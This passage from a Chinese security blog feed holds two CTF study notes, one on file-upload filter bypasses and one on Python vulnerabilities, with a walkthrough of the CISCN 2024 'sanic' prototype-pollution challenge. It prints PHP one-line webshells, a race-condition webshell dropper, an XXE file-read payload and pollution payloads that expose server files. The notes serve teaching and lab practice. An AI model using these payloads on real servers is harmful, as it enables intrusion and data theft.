<content type="html"><![CDATA[<p>文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。</p><h2 id="文件上传绕过">文件上传绕过</h2><h3 id="黑名单绕过">黑名单绕过</h3><p>有些网站在黑名单添加了一些后缀,但是一个语言有很多的可解释后缀,黑名单不全面时即可利用</p><table><thead><tr><th style="text-align:center">语言</th><th style="text-align:center">默认服务器及可解析后缀</th><th style="text-align:center">猜测可绕过后缀</th></tr></thead><tbody><tr><td style="text-align:center"><a href="http://asp.net">asp.net</a></td><td style="text-align:center">IIS:N/A</td><td style="text-align:center"><code>asp</code>, <code>aspx</code>, <code>asa</code>, <code>asax</code>, <code>ascx</code>, <code>ashx</code>, <code>asmx</code>, <code>cer</code>, <code>aSp</code>, <code>aSpx</code>, <code>aSa</code>, <code>aSax</code>, <code>aScx</code>, <code>aShx</code>, <code>aSmx</code>, <code>cEr</code></td></tr><tr><td style="text-align:center">php</td><td style="text-align:center">apache:<code>.php</code> <code>.html</code> <code>.htm</code></td><td style="text-align:center"><code>php</code>, <code>php5</code>, <code>php4</code>, <code>php3</code>, <code>php2</code>, <code>pHp</code>, <code>pHp5</code>, <code>pHp4</code>, <code>pHp3</code>, <code>pHp2</code>, <code>html</code>, <code>htm</code>, <code>phtml</code>, <code>pht</code>, <code>Html</code>, <code>Htm</code>, <code>pHtml</code></td></tr><tr><td style="text-align:center">jsp</td><td style="text-align:center">tomcat:<code>*.jsp</code> <code>*jspx</code></td><td style="text-align:center"><code>jsp</code>, <code>jspa</code>, <code>jspx</code>, <code>jsw</code>, <code>jsv</code>, <code>jspf</code>, <code>jtml</code>, <code>jSp</code>, <code>jSpx</code>, <code>jSpa</code>, <code>jSw</code>, <code>jSv</code>, <code>jSpf</code>, <code>jHtml</code></td></tr></tbody></table><h4 id="Tomcat添加可解析后缀名">Tomcat添加可解析后缀名:</h4><ul><li><p>路径: apache-tomcat-x.x.x\conf\web.xml</p></li><li><p>文件: web.xml</p></li><li><p>修改位置: <code><url-pattern>*.*</url-pattern></code></p></li></ul><pre><code class="language-xml"><servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern></servlet-mapping></code></pre><h4 id="Apache添加可解析后缀名">Apache添加可解析后缀名:</h4><ul><li><p>路径:Apache24\conf\httpd.conf</p></li><li><p>文件:httpd.conf</p></li><li><p>修改位置:AddType application/x-httpd-php .php .html .htm</p></li><li><p><code>AddType application/x-httpd-php .php .html .htm</code></p></li></ul><h3 id="htaccess解析">.htaccess解析</h3><h4 id="前提条件:">前提条件:</h4><ul><li><p>Apache开启.htaccess文件功能</p></li><li><p><code>.htaccess</code> 文件能正常上传</p></li></ul><h4 id="开启-htaccess文件功能:">开启.htaccess文件功能:</h4><ul><li><p>路径:Apache24\conf\httpd.conf</p></li><li><p>文件:httpd.conf</p></li></ul><pre><code><Directory "${SRVROOT}/htdocs"> Options Indexes FollowSymLinks AllowOverride None ( None -> ALL ) Require all granted</Directory>...#去掉下一行代码的注释#LoadModule rewrite_module modules/mod_rewrite.so</code></pre><p><code>.htaccess</code> 文件例:</p><pre><code>//1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行。[优先]<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php</FilesMatch> //2.上传后缀为.aaa的文件,让其做为php类型文件进行解析AddType application/x-httpd-php .aaa</code></pre><h3 id="user-ini绕过">.user.ini绕过</h3><h4 id="原理:">原理:</h4><ul><li><p>除了主php.ini之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录( <code>$_SERVER['DOCUMENT_ROOT']</code> 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。</p></li><li><p>.user.ini是PHP支持基于每个目录的INI文件配置。如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果。</p></li></ul><p><code>.user.ini</code> 文件例:</p><pre><code>//效果跟上一部分提到的差不多auto_prepend_file=shell.jpg</code></pre><h3 id="大小写绕过">大小写绕过</h3><h4 id="原理:-2">原理:</h4><ul><li>后缀名黑名单过滤不全面<ul><li>虽然设置了黑名单对常见的后缀进行过滤,但并未对后缀名大小写进行统一。可以利用大小写进行绕过。例如:.phP</li></ul></li></ul><h4 id="示例:">示例:</h4><ul><li><p>代码只对后缀名为.php的文件进行了拦截,并未对.pHp后缀名的文件拦截</p></li><li><p>上传后缀名为.pHp的文件</p></li></ul><h3 id="点绕过">点绕过</h3><h4 id="原理:-3">原理:</h4><ul><li>Windows 系统下,文件后缀名最后一个点会被自动去除。</li></ul><h4 id="使用条件:">使用条件:</h4><ul><li>服务器为Windows系统</li></ul><h4 id="利用方法:">利用方法:</h4><p>利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 . 绕过上传。</p><h3 id="空格绕过">空格绕过</h3><h4 id="原理:-4">原理:</h4><ul><li>文件上传功能过滤不完善,没有考虑到空格的情况,将文件 <code>demo.php(空格)</code> 认为是以<code>(空格)</code> 结尾的特殊文件,允许上传,当文件成功上传到windows系统下时,因为Windows系统特性会被作为空处理,也就是删除文件最后的空格,结果为 <code>demo.php</code></li></ul><h4 id="使用条件:-2">使用条件:</h4><ul><li>服务器为Windows系统</li></ul><h4 id="利用方法:-2">利用方法:</h4><p>利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 <code>(空格)</code> 绕过上传。</p><p>可与上一条结合使用</p><h3 id="DATA绕过">::$DATA绕过</h3><h4 id="原理:-5">原理:</h4><ul><li>Windows 中,<code>文件名+::$DATA</code> 会把 <code>$DATA</code> 之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,不会检查后缀名。</li></ul><h4 id="使用条件:-3">使用条件:</h4><ul><li>服务器为Windows系统</li></ul><h4 id="利用方法:-3">利用方法:</h4><p>利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 <code>::$DATA</code> 绕过上传。</p><h3 id="双写后缀绕过">双写后缀绕过</h3><h4 id="原理:-6">原理:</h4><ul><li>在上传模块,有的代码会把黑名单的后缀名替换成空,例如a.php 会把php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。</li></ul><h3 id="00截断绕过">%00截断绕过</h3><h4 id="原理:-7">原理:</h4><ul><li><p>如果黑名单上传检测后,没有限定后缀名,绕过的方法很多,使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。</p></li><li><p>保存文件时处理文件名的函数会从左往右检测,在遇到%00字符认为这是终止符,从而丢弃之后的字符。但是白名单检测时会从右往左检测,如果后面的字符符合后缀白名单要求时,就会通过检测。</p></li></ul><h4 id="条件:">条件:</h4><ul><li><code>PHP</code> 版本小于 <code>5.3.4</code></li></ul><h4 id="利用方法">利用方法</h4><h5 id="GET方式:">GET方式:</h5><p>利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名后加 <code>::$DATA</code> 绕过上传。</p><h5 id="POST方式:">POST方式:</h5><p>通过 BurpSuite 修改 hex 值为 00 进行截断</p><h3 id="Content-Type-绕过">Content-Type 绕过</h3><h4 id="原理:-8">原理:</h4><p>后端通过检查HTTP请求头中的 Content-Type 字段来确定上传文件的类型。服务器是通过 Content-Type 判断类型,Content-Type 在客户端可被修改,因此可以绕过。</p><h4 id="利用方法:-4">利用方法:</h4><p>利用 BurpSuite 工具截断 HTTP 请求,修改 Content-Type。</p><h3 id="文件头检测绕过">文件头检测绕过</h3><h4 id="原理:-9">原理:</h4><p>所有的文件都是以二进制的形式进行存储的,在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)都有一片区域来显示这个文件的实际用法,这就是文件头标志,服务器对白名单进行文件头检测,符合,则允许上传,反之不允许。</p><p>主要分为三个方面:前两字节绕过,getimagesize绕过和exif_imagetype绕过。</p><h4 id="常见文件头:">常见文件头:</h4><ul><li>JPEG (jpg),文件头:FFD8FF</li><li>PNG (png),文件头:89504E47</li><li>GIF (gif),文件头:47494638</li><li>XML (xml),文件头:3C3F786D6C</li><li>ZIP Archive (zip),文件头:504B0304</li></ul><h4 id="利用条件:">利用条件:</h4><ul><li>exif_imagetype绕过需启用php_exif扩展</li></ul><h4 id="利用方式">利用方式</h4><h5 id="前两字节绕过">前两字节绕过</h5><p>修改前两字节再上传</p><h5 id="绕过-getimagesize-函数">绕过 getimagesize 函数</h5><p>getimagesize 函数用于获取图像大小及相关信息。可以通过隐写术将恶意代码嵌入图片中,从而绕过检测</p><p>步骤:</p><ul><li><p>准备一张图片和一个包含恶意代码的文件。</p></li><li><p>使用隐写术将恶意代码写入图片中。</p></li><li><p>上传经过处理的图片。</p></li></ul><p>示例:</p><p><code> copy /b image.jpg + shell.php new_image.jpg</code></p><h5 id="绕过-exif-imagetype-函数">绕过 exif_imagetype 函数</h5><p>exif_imagetype 函数读取图像的第一个字节并检查其签名。如果发现恰当的签名则返回对应的常量,否则返回 FALSE</p><p>步骤:</p><ul><li><p>准备一个合法的图片文件。</p></li><li><p>在图片末尾添加 PHP 代码。</p></li><li><p>上传修改后的图片。</p></li></ul><p>示例:</p><pre><code class="language-php">// 使用 010Editor 打开图片,在末尾添加 PHP 代码<?php echo "Hello, World!"; ?></code></pre><h3 id="二次渲染绕过">二次渲染绕过</h3><h4 id="原理:-10">原理:</h4><p>在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。</p><p>处理完成后,根据原有的图片对比,找到没被修改的部分,然后利用这一部分,生成一个新的图片并放到网站对应的标签进行显示。</p><h4 id="利用方法:-5">利用方法:</h4><p>使用 GIF 图片插入一句话木马,然后上传</p><blockquote><p>不使用 PNG 等格式的原因:<br />渲染前后相同部分很少,一句话木马经过渲染会被删除</p></blockquote><p>然后,</p><ul><li>将渲染前后对比,在渲染前两者的相同部分插入一句话木马</li></ul><p>或者</p><ul><li>直接在渲染后的图片中插入一句话木马</li></ul><h3 id="条件竞争绕过">条件竞争绕过</h3><h4 id="原理:-11">原理:</h4><p>程序逻辑为先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除,或其它类似逻辑,则可以在上传后删除前的窗口期快速访问以获取 Webshell。</p><h4 id="利用方法:-6">利用方法:</h4><ul><li>上传a.php木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php</li></ul><pre><code class="language-php"><?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?></code></pre><p>只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<code><?php @eval($_POST["x"]);?></code></p><p>或者</p><ul><li>上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;</li></ul><h2 id="例题">例题</h2><p><a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition">Lab: Web shell upload via race condition</a></p><p>审计 Hint 中的代码</p><pre><code class="language-php">`<?php $target_dir = "avatars/"; $target_file = $target_dir . $_FILES["avatar"]["name"]; // temporary move // 这里先上传了move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file); // 后检查if (checkViruses($target_file) && checkFileType($target_file)) { echo "The file ". htmlspecialchars( $target_file). " has been uploaded."; } else { unlink($target_file); echo "Sorry, there was an error uploading your file."; http_response_code(403); } function checkViruses($fileName) { // checking for viruses ... } function checkFileType($fileName) { $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION)); if($imageFileType != "jpg" && $imageFileType != "png") { echo "Sorry, only JPG & PNG files are allowed\n"; return false; } else { return true; } } ?>`</code></pre><p>可以发现代码中先进行文件存储再进行文件检查</p><p>在检查后删除前和文件存储前的间隙访问即可</p><p>使用 BurpSuite 发送上传文件请求和访问请求到 Repeater,然后平行发送请求即可</p><p>根据题目要求使用以下 Payload</p><pre><code class="language-php"><?php echo file_get_contents('/home/carlos/secret'); ?></code></pre>]]></content>
<summary type="html">本文深入解析文件上传漏洞的成因与危害,揭示因服务器处理逻辑缺陷导致的安全风险。重点介绍黑名单绕过等攻击手法,详细列举ASP.NET、PHP、JSP等常见语言的可解析后缀,帮助开发者识别并防范恶意文件上传,提升Web应用安全性。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="Web" scheme="https://24kblog.top/tags/Web/"/>
<category term="文件上传" scheme="https://24kblog.top/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
</entry>
<entry>
<title>Python漏洞总结</title>
<link href="https://24kblog.top/posts/1724511731/"/>
<id>https://24kblog.top/posts/1724511731/</id>
<published>2025-04-12T05:47:31.000Z</published>
<updated>2026-03-04T04:26:33.445Z</updated>
<content type="html"><![CDATA[<ul><li>RCE</li><li>XSS</li><li>XXE</li><li>CSRF</li><li>SSRF</li><li>SSTI</li><li>原型链构造</li><li>文件操作</li><li>反序列化</li></ul><h2 id="RCE(远程代码执行)">RCE(远程代码执行)</h2><p>常见的命令执行模块及函数:</p><ul><li>os</li><li>subprocess</li><li>pty</li><li>codecs</li><li>popen</li><li>eval</li><li>exec</li></ul><p>常见 Python RCE 情况</p><pre><code class="language-python">ip=input()os.system(f'ping -c 4 {ip}')a=__import__('os').system('ls -a') #动态调用实现</code></pre><p>或者</p><pre><code class="language-python">a=input()b=subprocess.Popen(f'ping -c 4 {a}',shell=True)</code></pre><h2 id="XSS(跨站脚本攻击)">XSS(跨站脚本攻击)</h2><p>Coming s∞n</p><h2 id="XXE(XML外部实体注入)">XXE(XML外部实体注入)</h2><p>感觉有点像反序列化,解析数据时通过操作数据可使其自动执行一些代码</p><p>Python 中解析 XML 的几种方法:</p><ul><li>xml.sax.parse()</li><li>xml.dom.minidom.parse()</li><li>xml.dom.pulldom.parse()</li><li>xml.etree.ElementTree()</li><li>一些第三方库,例如 <code>lxml</code></li></ul><p>靶机:<a href="https://github.com/hannoch/python-xxe">https://github.com/hannoch/python-xxe</a></p><p>注意:此靶机需要手动允许外部实体,因为现在 etree 已默认禁用外部实体引入</p><p>靶机 payload:</p><pre><code class="language-xml"><!DOCTYPE a[<!ENTITY xxe SYSTEM "file///etc/hosts">]><user><username>&xxe;</username><password>password</password></user></code></pre><h2 id="CSRF(跨站请求伪造)">CSRF(跨站请求伪造)</h2><p>Coming s∞n</p><h2 id="SSRF(服务端请求伪造)">SSRF(服务端请求伪造)</h2><p>常用的可造成 SSRF 漏洞的请求库:</p><ul><li>requests</li><li>pycurl</li></ul><p>通常 CTF 会过滤非 HTTP/HTTPS 协议,私有地址</p><p>进行攻击时通常要考虑如何绕过,比如:</p><ul><li>私有地址除了127.0.0.1,也包括整个127.0.0.0/8</li><li>可以使用重绑定绕过,将自己的域名解析为私有地址</li></ul><p><a href="https://buuoj.cn/challenges#%5B%E7%AC%AC%E4%B8%89%E7%AB%A0%20web%E8%BF%9B%E9%98%B6%5DPython%E9%87%8C%E7%9A%84SSRF">BUUCTF - Python里的SSRF</a></p><h2 id="SSTI(模板注入)">SSTI(模板注入)</h2><p>Coming s∞n</p><h2 id="Python-原型链污染">Python 原型链污染</h2><p>整个原型链污染主要就是依靠以下函数</p><pre><code class="language-python">def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)</code></pre><p>这函数什么意思呢?</p><p>用一个<a href="https://tttang.com/archive/1876/#toc__1:~:text=%E7%BD%AE%E5%B1%9E%E6%80%A7%E7%AD%89-,%E5%85%88%E4%BB%A5%E8%87%AA%E5%AE%9A%E4%B9%89%E5%B1%9E%E6%80%A7%E4%B8%BA%E4%BE%8B%E5%AD%90,-%EF%BC%9A">示例</a>加 <a href="https://chat.qwen.ai/s/07da341e-01cc-4e93-8db0-93ca2ac7a084">AI sama 的解释</a>就可以知道了</p><pre><code class="language-python">class father: secret = "haha"class son_a(father): passclass son_b(father): passdef merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)instance = son_b()payload = { "__class__" : { "__base__" : { "secret" : "no way" } }}print(son_a.secret)#hahaprint(instance.secret)#hahamerge(payload, instance)print(son_a.secret)#no wayprint(instance.secret)#no way</code></pre><h3 id="执行过程详解"><strong>执行过程详解</strong></h3><h4 id="初始状态"><strong>初始状态</strong></h4><ul><li><code>son_a</code> 和 <code>son_b</code> 的 <code>secret</code> 属性继承自 <code>father</code>,初始值为 <code>"haha"</code>。</li></ul><h4 id="合并步骤"><strong>合并步骤</strong></h4><ol><li><p><strong>处理 <code>payload["__class__"]</code></strong>:</p><ul><li><code>src</code> 是 <code>payload</code>,<code>dst</code> 是 <code>instance</code>。</li><li><code>k = "__class__"</code>,<code>v = {"__base__": ...}</code>。</li><li><code>instance</code> 没有 <code>__getitem__</code>,但 <code>hasattr(instance, "__class__")</code> 为 <code>True</code>(实例的 <code>__class__</code> 属性指向 <code>son_b</code> 类)。</li><li>进入 <code>merge(v, getattr(instance, "__class__")</code>,即合并到 <code>son_b</code> 类。</li></ul></li><li><p><strong>处理 <code>son_b</code> 类的 <code>__base__</code> 属性</strong>:</p><ul><li><code>src</code> 是 <code>{"__base__": {"secret": "no way"}}</code>,<code>dst</code> 是 <code>son_b</code> 类。</li><li><code>k = "__base__"</code>,<code>v = {"secret": "no way"}</code>。</li><li><code>son_b</code> 的 <code>__base__</code> 属性指向 <code>father</code> 类。</li><li>进入 <code>merge(v, father)</code>,即合并到 <code>father</code> 类。</li></ul></li><li><p><strong>修改 <code>father</code> 类的 <code>secret</code> 属性</strong>:</p><ul><li><code>src</code> 是 <code>{"secret": "no way"}</code>,<code>dst</code> 是 <code>father</code> 类。</li><li><code>k = "secret"</code>,<code>v = "no way"</code>。</li><li>直接通过 <code>setattr(father, "secret", "no way")</code> 覆盖父类的 <code>secret</code> 属性。</li></ul></li></ol><p>通过 <code>merge</code> 函数,我们可以构造一个字典,然后改变类的属性等等</p><p>但以上示例貌似只能对有继承关系的类进行改动,诶,其实还有办法</p><p>类都有一个 <code>__init__</code> 方法,而函数或类的方法都具有一个叫 <code>__global__</code> 的属性,这个属性能够将函数或类方法所申明的变量空间中的全局变量以字典的形式返回</p><p>然后我们就可以构造类似以下的 payload:</p><pre><code class="language-json">{ "__init__" : { "__globals__" : { "secret_var" : 114514, "a" : { "secret_class_var" : "Pooooluted ~" } } }}</code></pre><p>这样就可以修改无继承关系的类属性乃至全局变量</p><p>除了全局变量,还可以修改引入的其它模块的种种内容</p><pre><code class="language-json">{ "__init__" : { "__globals__" : { "test_1" : { "secret_var" : 514, "target_class" : { "secret_class_var" : "Poluuuuuuted ~" } } } }}</code></pre><p>以上示例就是将 test_1.py 里的变量和类改变了</p><p>除了变量和类,我们还可以更改函数的形参默认值,这主要就是修改了函数 <code>__defaults__</code> 和 <code>__kwdefaults__</code> 这两个内置属性</p><p>例如一个函数长这样:</p><pre><code class="language-python">def evilFunc(arg_1 , * , shell = False): if not shell: print(arg_1) else: print(__import__("os").popen(arg_1).read())</code></pre><p>我们就可以构造以下的 payload:</p><pre><code class="language-json">{ "__init__" : { "__globals__" : { "evilFunc" : { "__kwdefaults__" : { "shell" : True } } } }}</code></pre><p>这样就可以修改 <code>evilFun</code> 函数形参 <code>shell</code> 的默认值了</p><p>根据以上方法,我们可以修改一些库中重要的变量、类等等的内容,例如 <code>flask</code> 的 <code>SECRET_KEY</code> <code>_got_first_request</code> <code>_static_url_path</code> 等等,甚至是达到 RCE的效果</p><p>但是以上种种都基于有 <code>merge</code> 方法的情况下,例如:<code>Pydash</code> 模块中的 <code>set_</code> 和 <code>set_with</code> 方法</p><h3 id="例题-CISCN-2024-sanic">例题 <a href="https://ctf.show/challenges#sanic-4328">CISCN 2024 - sanic</a></h3><p>先访问 /src,获得源码</p><pre><code class="language-python">from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==5.1.2class Pollute: def __init__(self): passapp = Sanic(__name__)app.static("/static/", "./static/")Session(app)@app.route('/', methods=['GET', 'POST'])async def index(request): return html(open('static/index.html').read())@app.route("/login")async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail")@app.route("/src")async def src(request): return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden")if __name__ == '__main__': app.run(host='0.0.0.0')</code></pre><p>然后访问 /login 并伪造 Cookie</p><p>这里如果直接将 Cookie 设为 user=“adm;n” 会因分号被截断,所以要利用RFC2068的编码规则绕过,简单来说就是八进制编码</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=R2RnS2RZZ0tvSDhzdWlEUGIyR3N1My9NMHc5eXBxTmdRcmM9" alt="截图_选择区域_20250412051317.png" data-caption="截图_选择区域_20250412051317.png" loading="lazy"></p><p>代码中可以看到,除了这个分号,还有 <code>_.</code> 也被过滤了</p><p>查看 pydash 的源码可以发现它会将 <code>\\.</code> 变为 <code>.</code> ,然后匹配成组的 <code>\\</code> 和 <code>.</code> 来分割</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MVQ5T0NqYmN4TnpiSm40ZWJtSU14WC9NMHc5eXBxTmdRcmM9" alt="截图_选择区域_20250412051414.png" data-caption="截图_选择区域_20250412051414.png" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=M3EwYXVuTVdhWExwN1JVNUF2MG5VWC9NMHc5eXBxTmdRcmM9" alt="截图_选择区域_20250412051359.png" data-caption="截图_选择区域_20250412051359.png" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bStIcEIwWUwzMDlJaFF5N0lZazdUSC9NMHc5eXBxTmdRcmM9" alt="截图_选择区域_20250412051426.png" data-caption="截图_选择区域_20250412051426.png" loading="lazy"></p><p>所以构造污染链时要注意这些规则</p><p>初步构造 payload 如下:</p><pre><code>{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}</code></pre><p>(注:merge 方法的不同实现会让 payload 的形式各异,但中心思想都是一致的)</p><p>这样可以访问任意文件了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZVltOVlwR21mZi9VaGNwRnhoMVZVaXpBbnJMdG85Q1kwSVk9" alt="pre-wired-browser)_20250412051744.png" data-caption="pre-wired-browser)_20250412051744.png" loading="lazy"></p><p>但是无法访问 /flag 文件,会显示500</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZllnNXpHUy8zK1QzSjdiWDNiUG5RaXpBbnJMdG85Q1kwSVk9" alt="pre-wired-browser)_20250412051854.png" data-caption="pre-wired-browser)_20250412051854.png" loading="lazy"></p><p>所以要找找文件在哪</p><p>分析app.static这个方法</p><p>跟进源码发现一段注释</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MytzT2lKZnAzdXBuMkJ4d1lpUXNDQ3pBbnJMdG85Q1kwSVk9" alt="截图_选择区域_20250412052137.png" data-caption="截图_选择区域_20250412052137.png" loading="lazy"></p><p>大致意思就是 directory_view 为 True 时,会开启列目录功能,directory_handler 中可以获取指定的目录</p><p>继续跟进两次就可以找到要污染的类 DirectoryHandler</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=eDNnZkRjenpxWU5sQ3ZyMEp4ZSsvdE9uZUxJNGZoZGlzbEU9" alt="截图_选择区域_20250412052311.png" data-caption="截图_选择区域_20250412052311.png" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=L2VkdzR1bHl2YVppRXYvLzVXUWZZOU9uZUxJNGZoZGlzbEU9" alt="截图_选择区域_20250412052326.png" data-caption="截图_选择区域_20250412052326.png" loading="lazy"></p><p>只需要将 directory 污染为根目录,directory_view 污染为 True,就可以看到根目录的所有文件了</p><p>查询资料可以发现,这个框架可以通过 <code>app.router.name_index['xxxxx']</code> 来获取注册的路由</p><p>自己搭建一个测试用环境,代码如下:</p><pre><code class="language-python">from sanic import Sanicfrom sanic.response import text, html#from sanic_session import Sessionimport sysimport pydash# pydash==5.1.2class Pollute: def __init__(self): passapp = Sanic(__name__)app.static("/static/", "./static/")#Session(app)#@app.route('/', methods=['GET', 'POST'])#async def index(request): #return html(open('static/index.html').read())#@app.route("/login")#async def login(request): #user = request.cookies.get("user") #if user.lower() == 'adm;n': #request.ctx.session['admin'] = True #return text("login success") #return text("login fail")@app.route("/src")async def src(request): eval(request.args.get('cmd')) return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])async def admin(request): key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden")#print(app.router.name_index['name'].directory_view)if __name__ == '__main__': app.run(host='0.0.0.0')</code></pre><p>全局搜索 name_index</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bmdRL3l1dDhCQThaWnJTUmpVRU5iZE9uZUxJNGZoZGlzbEU9" alt="截图_选择区域_20250412053131.png" data-caption="截图_选择区域_20250412053131.png" loading="lazy"></p><p>在上面的地方下断点就可以查看系统调用这个路由时的状态以及其具有的属性</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Vy8yVXozTmRJaW05cmovWG10QlgyZWFFbXFLWHkvSDdpdkE9" alt="截图_选择区域_20250412053558.png" data-caption="截图_选择区域_20250412053558.png" loading="lazy"></p><p>根据以上信息可以构造处以下 payload:</p><pre><code>{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}</code></pre><p>接下来访问 /static/ ,发现已经可以看到目录下的文件了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dkVMUm1WRzhDWUM4WDNydTFVd29JK2FFbXFLWHkvSDdpdkE9" alt="pre-wired-browser)_20250412054034.png" data-caption="pre-wired-browser)_20250412054034.png" loading="lazy"></p><p>再试图污染 directory,它是一个对象,而其值是由 <code>parts</code> 属性决定的,而parts的值最后是给了<code>_parts</code> 这个属性,而这个 <code>_parts</code> 是一个了列表,可以直接污染<br />(注:此处其实是借鉴别的博客的,因为我在复现时完全找不到 <code>_parts</code> 属性)</p><p>于是有以下 payload:</p><pre><code>{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}</code></pre><p>然后就可以查看文件名了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=eVJ1b3lLTmNIM2tEZkJZeGkwV1IvcHVERmFiWEs1OUtxM2dJ" alt="20240523112223-ac06f1f8-18b3-1.webp" data-caption="20240523112223-ac06f1f8-18b3-1.webp" loading="lazy"></p><p>最后结合前面的任意文件读取即可获得 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cEN5Y0R5L1dFWXZVRTJLM3FEMW0vT2FFbXFLWHkvSDdpdkE9" alt="pre-wired-browser)_20250412055631.png" data-caption="pre-wired-browser)_20250412055631.png" loading="lazy"></p><hr /><p>参考:</p><ul><li><a href="https://www.cnblogs.com/Cl0ud/p/16213353.html">https://www.cnblogs.com/Cl0ud/p/16213353.html</a></li><li><a href="https://tttang.com/archive/1876/">https://tttang.com/archive/1876/</a></li><li><a href="https://www.7ntsec.cn/?p=56">https://www.7ntsec.cn/?p=56</a></li><li><a href="https://www.cnblogs.com/gxngxngxn/p/18205235">https://www.cnblogs.com/gxngxngxn/p/18205235</a></li><li><a href="https://xz.aliyun.com/news/14057">https://xz.aliyun.com/news/14057</a></li></ul>]]></content>
<summary type="html">本文深入解析Python安全漏洞,涵盖RCE、XSS、XXE、CSRF、SSRF、SSTI等常见攻击类型。详细介绍了远程代码执行模块、XML外部实体注入方法、服务端请求伪造技巧及靶机实战案例,帮助开发者识别和防范安全风险,提升代码安全性。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="笔记" scheme="https://24kblog.top/tags/%E7%AC%94%E8%AE%B0/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
<category term="Python" scheme="https://24kblog.top/tags/Python/"/>
<category term="原型链污染" scheme="https://24kblog.top/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/"/>
</entry>
<entry>
<title>Node.js RCE 漏洞总结</title>
<link href="https://24kblog.top/posts/2767279470/"/>
<id>https://24kblog.top/posts/2767279470/</id>
<published>2025-03-31T17:06:06.000Z</published>
<updated>2026-03-04T04:26:27.091Z</updated>
